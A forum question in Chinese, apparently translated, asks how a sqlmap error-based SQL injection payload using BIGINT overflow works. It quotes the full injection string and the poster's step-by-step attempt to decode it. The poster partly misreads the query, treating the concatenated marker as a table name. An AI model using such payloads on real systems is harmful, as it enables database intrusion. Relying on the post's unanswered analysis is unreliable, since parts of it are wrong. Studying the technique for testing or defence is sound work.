0

我正在尝试使用SQLMAP的基于错误的 SQL 注入技术。SQLMAP 识别的技术是

基于错误 - WHERE、HAVING、ORDER BY 或 GROUP BY 子句 (BIGINT UNSIGNED)

如果有人可以帮助说明 SQLMAP 正在使用的有效负载,那就太好了。

Payload: web/test?abc='' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b626b71,(SELECT (ELT(9092=9092,1))),0x71626b7071,0x78))s), 8446744073709551610, 8446744073709551610)))-- pprs

更具体地说,此 SQL 查询中发生了什么

(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b626b71,(SELECT (ELT(9092=9092,1))),0x71626b7071,0x78))s), 8446744073709551610, 8446744073709551610))) 

更新1:

格式化的查询如下所示:

SELECT
   2*(IF((
   SELECT
      * 
   FROM
      (
         SELECT
            CONCAT(0x716b626b71, 
            (
               SELECT
(ELT(9092 = 9092, 1))
            )
, 0x71626b7071, 0x78)
      )
      s), 8446744073709551610, 8446744073709551610))

SELECT (ELT(9092 = 9092, 1)):查询输出为 1,9092=9092结果为真(即 1),ELT 函数返回第一个参数,即 1

所以下一个子查询是: SELECT CONCAT(0x716b626b71, 1, 0x71626b7071, 0x78) : Query Output results to concatenated string "qkbkq1qbkpqx" (将十六进制转换为字符串后)

但是,结果子查询SELECT * FROM qkbkq1qbkpqx给出了一个错误说Every derived table must have its own alias

更新2:

我错过了@tcadidot0 提到的查询中的别名。所以现在结果子查询是: SELECT * FROM qkbkq1qbkpqx s

最后的查询是: SELECT 2*(IF((SELECT * FROM qkbkq1qbkpqx s), 8446744073709551610, 8446744073709551610))

如果表“qkbkq1qbkpqx”存在,则返回8446744073709551610else它返回8446744073709551610,但是2次结果导致此错误:BIGINT value is out of range in '(2 * if((1 > 0),8446744073709551610,8446744073709551610)),假设1>0是条件而不是选择语句。

4

0 回答 0